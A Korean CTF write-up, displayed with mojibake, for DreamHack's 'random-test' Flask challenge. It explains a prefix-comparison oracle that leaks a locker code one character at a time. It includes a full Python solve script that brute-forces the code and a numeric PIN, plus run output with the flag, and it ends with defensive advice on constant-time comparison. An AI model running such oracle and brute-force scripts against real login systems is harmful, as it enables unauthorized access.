๋ฌธ์ : DreamHack โ random-test ๋ถ๋ฅ: Web ๋์ด๋: ๐ฅ Bronze 4 FLAG:
DH{2e583205a2555b8890d141b51cee41379cead9a65a957e72d4a99568c0a2f955}
๋ฌธ์ ๊ฐ์
์ ํ๊ธฐ์ ์ฌ๋ฌผํจ์ ๋ฐฐ์ ๋ฐ์ ๋๋ฆผ์ด๊ฐ ์ฌ๋ฌผํจ ๋ฒํธ์ ๋น๋ฐ๋ฒํธ๋ฅผ ๋ชจ๋ ์์ด๋ฒ๋ ธ๋ค. ๋ ๊ฐ์ ๋ง๊ฒ ์ ๋ ฅํ๋ฉด ํ๋๊ทธ๊ฐ ๋์จ๋ค.
- ์ฌ๋ฌผํจ ๋ฒํธ: ์๋ฌธ์ยท์ซ์๋ก ์ด๋ค์ง 4์๋ฆฌ ๋๋ค ๋ฌธ์์ด
- ๋น๋ฐ๋ฒํธ: 100 ์ด์ 200 ์ดํ์ ๋๋ค ์ ์
| ํญ๋ชฉ | ๋ด์ฉ |
|---|---|
| ๋ฌธ์ ๋ช | random-test |
| ๋์ด๋ | ๐ฅ Bronze 4 |
| ๋ถ๋ฅ | Web (Flask) |
| ์ ๊ณต ํ์ผ / ์๋ฒ | app.py + http://host8.dreamhack.games:22962/ |
| ํต์ฌ ์ทจ์ฝ์ | ์ ๋ ฅ ๊ธธ์ด๋งํผ๋ง ๋น๊ตํ๋ prefix ์ผ์น ๋์ถ (oracle) |
์์ ๋ฌด์ฐจ๋ณ ๋์
์ด๋ฉด ์ฌ๋ฌผํจ ๋ฒํธ 36โด(=์ฝ 168๋ง) ร ๋น๋ฐ๋ฒํธ 101๊ฐ์ง โ 2.1์ต ์กฐํฉ์ด๋ค. ๊ทธ๋๋ก ๋ค ๋๋ ค๋ณด๊ธด ๋นํ์ค์ ์ด๋ค.
ํ์ง๋ง ์๋ฒ ์ฝ๋๋ฅผ ๋ณด๋ฉด ๋น๊ต ๋ก์ง ํ ์ค์ด ์ ๋ต์ ํ ๊ธ์์ฉ ํ๋ฆฐ๋ค. ๊ทธ ๋์ถ์ ์ด์ฉํ๋ฉด ๊ฐ์ ๋ฌธ์ ๊ฐ 176๋ฒ์ ์์ฒญ์ผ๋ก ์ค์ด๋ ๋ค.

๐ฌ ๋ถ์ โ ์๋ฒ ์ฝ๋ ํ ์ค์ด ์ ๋ถ
์ ๊ณต๋ app.py์์ ๊ฐ ์์ฑ๊ณผ ๊ฒ์ฆ ๋ถ๋ถ๋ง ๋ณด๋ฉด ์ด๋ ๋ค.
rand_str = ""
alphanumeric = string.ascii_lowercase + string.digits # 36๊ธ์
for i in range(4):
rand_str += str(random.choice(alphanumeric))
rand_num = random.randint(100, 200)
@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "GET":
return render_template("index.html")
else:
locker_num = request.form.get("locker_num", "")
password = request.form.get("password", "")
if locker_num != "" and rand_str[0:len(locker_num)] == locker_num:
if locker_num == rand_str and password == str(rand_num):
return render_template("index.html", result="FLAG:" + FLAG)
return render_template("index.html", result="Good")
else:
return render_template("index.html", result="Wrong!")rand_str๊ณผ rand_num์ ํจ์ ๋ฐ, ๋ชจ๋ ์ต์๋จ์์ ์์ฑ๋๋ค. ํ๋ก์ธ์ค๊ฐ ์ด์ ์๋ ๋์ ๊ฐ์ด ๋ฐ๋์ง ์๋๋ค. ์ฌ๋ฌ ๋ฒ ๋๋ ์ ๋ ๋ด๋ ์ ๋ต์ด ๊ทธ๋๋ก ์ ์ง๋๋ค๋ ๋ป์ด๋ผ, ๊ธ์ ๋จ์ ๋ณต์์ด ์ฑ๋ฆฝํ๋ค.
๋
ธ๋ฆด ๊ณณ์ rand_str[0:len(locker_num)] == locker_num ํ ์ค์ด๋ค.
rand_str ์ ์ฒด์ ๋น๊ตํ๋ ๊ฒ ์๋๋ผ, ๋ด๊ฐ ๋ณด๋ธ ์
๋ ฅ ๊ธธ์ด๋งํผ ์๋ผ์ ๋น๊ตํ๋ค. locker_num์ด ์ ๋ต์ ์๋ถ๋ถ(prefix)์ด๊ธฐ๋ง ํ๋ฉด ์์ชฝ if๋ก ๋ค์ด๊ฐ "Good"์ ๋๋ ค์ค๋ค. prefix๊ฐ ์ด๊ธ๋๋ฉด "Wrong!"์ด๋ค.
์ธ ๊ฐ์ง ์๋ต์ด ๊ทธ๋๋ก ์ ํธ๊ฐ ๋๋ค.
| ์๋ต | ์๋ฏธ |
|---|---|
Wrong! | ์ ๋ ฅ์ด ์ ๋ต์ prefix๊ฐ ์๋ |
Good | ์ ๋ ฅ์ด ์ ๋ต์ prefix๋ ๋ง์ (์ ์ฒด ์ ๋ต์ ์์ง) |
FLAG:... | ์ฌ๋ฌผํจ ๋ฒํธ ์ ์ฒด + ๋น๋ฐ๋ฒํธ๊น์ง ์ ๋ต |
๋จผ์ ์์ ํ ํ๋ฆฐ ๊ฐ(zzzz)์ ๋ฃ์ด Wrong!์ ํ์ธํ๋ค.

์ด๋ฒ์ ํ ๊ธ์ t๋ง ๋ณด๋ธ๋ค. ์ ๋ต์ ์ฒซ ๊ธ์๊ฐ t๋ผ๋ฉด Good์ด ๋์์ผ ํ๋ค.

Good์ด ๋ด๋ค. ํ ๊ธ์๋ง ๋ง์๋ ํต๊ณผํ๋ค๋ ๊ฒ ๋์ผ๋ก ํ์ธ๋๋ค. ์ ๋ต์ ํ ๊ธ์์ฉ ๋ ๋ณผ ์ ์๋ oracle์ด ์๊ธด ๊ฒ์ด๋ค.
๐ฃ ํต์ฌ โ prefix ๋น๊ต๊ฐ ๋ง๋ oracle
๋น๋ฐ๋ฒํธ๋ฅผ ํ ๊ธ์์ฉ ๋น๊ตํ๋ค๊ฐ ์ฒ์ ํ๋ฆฌ๋ ๊ณณ์์ ๋ฉ์ถ๋ ์ฝ๋๋ ์๋ต ์๊ฐ์ผ๋ก ์ ๋ต์ ํ๋ฆฌ๋ timing ๊ณต๊ฒฉ์ ๋จ๊ณจ์ด๋ค. ์ด ๋ฌธ์ ๋ ๋ ์ง์ ์ ์ด๋ค. ๋ถ๋ถ ์ผ์น๋ฅผ ์์ "Good"์ด๋ผ๋ ๋ช
์์ ์ ํธ๋ก ์๋ ค์ค๋ค.
๊ณต๊ฒฉ ์ ์ฐจ๋ ๋จ์ํ๋ค.
- ์ฒซ ์๋ฆฌ:
a,b,cโฆ 36๊ธ์๋ฅผ ํ ๊ธ์์ฉ ๋ณด๋ธ๋ค.Good์ด ๋จ๋ ๊ธ์๊ฐ ์ฒซ ๊ธ์๋ค. - ๋์งธ ์๋ฆฌ: ์ฐพ์ ์ฒซ ๊ธ์ ๋ค์
a~9๋ฅผ ๋ถ์ฌ ๋ ๊ธ์๋ก ๋ณด๋ธ๋ค.Good์ด ๋จ๋ฉด ๊ทธ ๊ธ์๊ฐ ๋์งธ ๊ธ์. - ๊ฐ์ ์์ผ๋ก 4์๋ฆฌ๊น์ง ์ฑ์ฐ๋ฉด ์ฌ๋ฌผํจ ๋ฒํธ๊ฐ ์์ฑ๋๋ค.

์๋ฆฌ๋น ์ต๋ 36ํ, 4์๋ฆฌ๋๊น ์ฌ๋ฌผํจ ๋ฒํธ๋ ์ต๋ 144ํ๋ฉด ๋ณต์๋๋ค. ํ๊ท ์ ์ ๋ฐ์ธ 72ํ ์ ๋๋ค.
์ฌ๋ฌผํจ ๋ฒํธ ์ ์ฒด(locker_num == rand_str)๋ฅผ ๋ง์ถ ๋ค์๋ ๋น๋ฐ๋ฒํธ๊ฐ ํ๋ฆฌ๋ฉด ์ฌ์ ํ Good์ด ๋์จ๋ค. ๊ทธ๋ฌ๋ ์ฌ๋ฌผํจ ๋ฒํธ๊ฐ ํ์ ๋ ๋ค์ ๋น๋ฐ๋ฒํธ 100~200์ ์ฐจ๋ก๋ก ๋ฃ์ด๋ณด๋ฉด ๋๋ค. ์ฌ๊ธฐ๋ ์ต๋ 101ํ๋ค.
์ฌ๋ฌผํจ ์ ์ฒด๋ ๋ง๊ณ ๋น๋ฐ๋ฒํธ๋ง ํ๋ฆฐ ๊ฒฝ์ฐ(tzl1 / 000)๋ ๋๊ฐ์ด Good์ด ๋์ค๋ ๊ฑธ ํ์ธํ ์ ์๋ค โ ๋ ๋จ๊ณ๋ฅผ ๊ฐ๋ฅด๋ ๊ธฐ์ค์ ์ค์ง FLAG: ๋ฑ์ฅ ์ฌ๋ถ๋ค.
๋์ ํฉ์ณ ์ต๋ 245ํ, ํ๊ท 200ํ ์์ชฝ. 2.1์ต ์กฐํฉ์ด ์ฌ์ค์ ์ ํ ํ์์ผ๋ก ๋ฌด๋์ง๋ค.
๐ฏ ํ์ด โ ์๋ฒ ์์ฑ
requests ์ธ์
์ผ๋ก POST๋ฅผ ๋ ๋ฆฌ๊ณ ์๋ต ๋ณธ๋ฌธ์ Wrong!์ด ์์ผ๋ฉด prefix๊ฐ ๋ง์ ๊ฒ์ผ๋ก ํ์ ํ๋ค. ์๋ต์ Good์ด๋ FLAG:๋ ๋ ๋ค "prefix ์ผ์น"์ด๋ฏ๋ก Wrong! ๋ถ์ฌ ํ ๊ฐ์ง๋ก ๊น๋ํ๊ฒ ๊ฐ๋ฆฐ๋ค.
def query(locker_num, password=""):
r = s.post(URL, data={"locker_num": locker_num, "password": password}, timeout=10)
return r.text
# 1) prefix oracle๋ก 4๊ธ์ ๋ณต์
locker = ""
for pos in range(4):
for c in ALPHANUM: # ascii_lowercase + digits = 36๊ธ์
if "Wrong!" not in query(locker + c):
locker += c # ์ด ์๋ฆฌ ๊ธ์ ํ์
break์ฌ๋ฌผํจ ๋ฒํธ๊ฐ ์์ฑ๋๋ฉด ๋น๋ฐ๋ฒํธ๋ง ๋ฌด์ฐจ๋ณ ๋์ ํ๋ค.
# 2) ๋น๋ฐ๋ฒํธ 100~200 brute-force
for pw in range(100, 201):
if "FLAG:" in query(locker, str(pw)):
print(pw) # ์ ๋ต ๋น๋ฐ๋ฒํธ
break๐ Full Exploit
#!/usr/bin/python3
# random-test ์๋ฒ โ prefix ๋น๊ต oracle๋ก ์ฌ๋ฌผํจ ๋ฒํธ๋ฅผ ํ ๊ธ์์ฉ ๋ณต์ํ๊ณ ,
# ๋น๋ฐ๋ฒํธ(100~200)๋ฅผ ๋ฌด์ฐจ๋ณ ๋์
ํด FLAG๋ฅผ ์ป๋๋ค.
import sys
import string
import requests
URL = sys.argv[1] if len(sys.argv) > 1 else "http://127.0.0.1:8077/"
ALPHANUM = string.ascii_lowercase + string.digits # ํ๋ณด 36๊ธ์
s = requests.Session()
def query(locker_num, password=""):
r = s.post(URL, data={"locker_num": locker_num, "password": password}, timeout=10)
return r.text
# 1) prefix oracle๋ก 4๊ธ์ ์ฌ๋ฌผํจ ๋ฒํธ ๋ณต์
# rand_str[0:len(locker_num)] == locker_num ์ด๋ฉด "Good", ์๋๋ฉด "Wrong!"
locker = ""
reqs = 0
for pos in range(4):
for c in ALPHANUM:
reqs += 1
body = query(locker + c)
if "Wrong!" not in body: # "Good" ๋๋ "FLAG" โ prefix ์ผ์น
locker += c
print(f"[+] pos {pos}: '{c}' -> locker = '{locker}'")
break
else:
print("[-] ํด๋น ์์น์์ ์ผ์นํ๋ ๊ธ์ ์์ โ ์ค๋จ")
sys.exit(1)
print(f"[*] ๋ณต์๋ ์ฌ๋ฌผํจ ๋ฒํธ: {locker} ({reqs} requests)")
# 2) ๋น๋ฐ๋ฒํธ ๋ฌด์ฐจ๋ณ ๋์
(100~200)
for pw in range(100, 201):
reqs += 1
body = query(locker, str(pw))
if "FLAG:" in body:
flag = body.split("FLAG:", 1)[1].split("<", 1)[0].strip()
print(f"[+] ๋น๋ฐ๋ฒํธ: {pw}")
print(f"[*] ์ด ์์ฒญ ์: {reqs}")
print(f"[FLAG] {flag}")
break
else:
print("[-] ๋น๋ฐ๋ฒํธ๋ฅผ ์ฐพ์ง ๋ชปํจ")์๊ฒฉ ์๋ฒ์ ๊ทธ๋๋ก ๋๋ฆฐ ๊ฒฐ๊ณผ๋ค.
$ python3 solve.py http://host8.dreamhack.games:22962/
[+] pos 0: 't' -> locker = 't'
[+] pos 1: 'z' -> locker = 'tz'
[+] pos 2: 'l' -> locker = 'tzl'
[+] pos 3: '1' -> locker = 'tzl1'
[*] ๋ณต์๋ ์ฌ๋ฌผํจ ๋ฒํธ: tzl1 (86 requests)
[+] ๋น๋ฐ๋ฒํธ: 189
[*] ์ด ์์ฒญ ์: 176
[FLAG] DH{2e583205a2555b8890d141b51cee41379cead9a65a957e72d4a99568c0a2f955}
์ฌ๋ฌผํจ ๋ฒํธ tzl1์ 86ํ ๋ง์ ๋ณต์ํ๊ณ , ๋น๋ฐ๋ฒํธ 189๊น์ง ์ด 176ํ ์์ฒญ์ผ๋ก ํ๋๊ทธ๊ฐ ๋์๋ค. ๋ธ๋ผ์ฐ์ ์์ ๊ฐ์ ๊ฐ์ ์ง์ ๋ฃ์ด๋ ๋์ผํ๊ฒ ํ๋๊ทธ๊ฐ ์ถ๋ ฅ๋๋ค.

DH{2e583205a2555b8890d141b51cee41379cead9a65a957e72d4a99568c0a2f955}๐ ๊ฒฐ๋ก
๋น๋ฐ์ ์ ์ฒด๋ฅผ ํ ๋ฒ์ ๋น๊ตํด์ผ ํ๋ค.
์ด ๋ฌธ์ ์ ๊ฒฐํจ์ rand_str[0:len(locker_num)] == locker_num ํ ์ค์ด๋ค. ์
๋ ฅ ๊ธธ์ด์ ๋ง์ถฐ ์ ๋ต์ ์๋ผ ๋น๊ตํ๋ ์๊ฐ, ๋ง์ ์๋ฆฌ๊ฐ ์ด๋๊น์ง์ธ์ง๊ฐ ์๋ต์ ๋๋ฌ๋๋ค.
๋ถ๋ถ ์ผ์น๋ฅผ ์๋ ค์ฃผ๋ฉด ๊ณฑ์ ์ด ๋ง์ ์ด ๋๋ค.
์๋ ์ฌ๋ฌผํจ ๋ฒํธ๋ 36 ร 36 ร 36 ร 36์ ๊ณฑ์
๊ณต๊ฐ์ด๋ค. ํ ์๋ฆฌ์ฉ ํ์ ์ ํธ๋ฅผ ์ฃผ๋ฉด 36 + 36 + 36 + 36์ ๋ง์
์ผ๋ก ์ค์ด๋ ๋ค. ๋น๋ฐ๋ฒํธ brute-force๊น์ง ๋ํด๋ 245ํ๋ฉด ๋๋๋ค. ์ด๊ฒ oracle ๊ณต๊ฒฉ์ด ๋ฌด์์ด ์ด์ ๋ค.
ํ์ค์์๋ ๊ฐ์ ํจํด์ด ๋ฐ๋ณต๋๋ค.
๋ก๊ทธ์ธ ์คํจ ๋ฉ์์ง๋ฅผ "์์ด๋ ์์"๊ณผ "๋น๋ฐ๋ฒํธ ํ๋ฆผ"์ผ๋ก ๋๋๋ฉด ๊ณ์ ์กด์ฌ ์ฌ๋ถ๊ฐ ์๊ณ , ๋น๋ฐ๋ฒํธ๋ฅผ ํ ๊ธ์์ฉ ๋น๊ตํ๋ค ๋ฉ์ถ๋ฉด ์๋ต ์๊ฐ์ผ๋ก ์ ๋ต์ด ์๋ค. ๋น๊ต๋ ์ ๋ต ๊ธธ์ด ๊ธฐ์ค์ผ๋ก, ๋๊น์ง, ๊ฐ๋ฅํ๋ฉด ์์ ์๊ฐ(hmac.compare_digest ๊ฐ์)์ผ๋ก ํ๋ ๊ฒ ์์ ํ๋ค.
Comments
๋๊ธ
๋๊ธ์ ๋จ๊ธฐ๋ ค๋ฉด ๋ก๊ทธ์ธ์ด ํ์ํด์. (๋ค์ด๋ฒ ยท ๊ตฌ๊ธ ๊ณ์ )
๋๊ธ ๋ถ๋ฌ์ค๋ ์คโฆ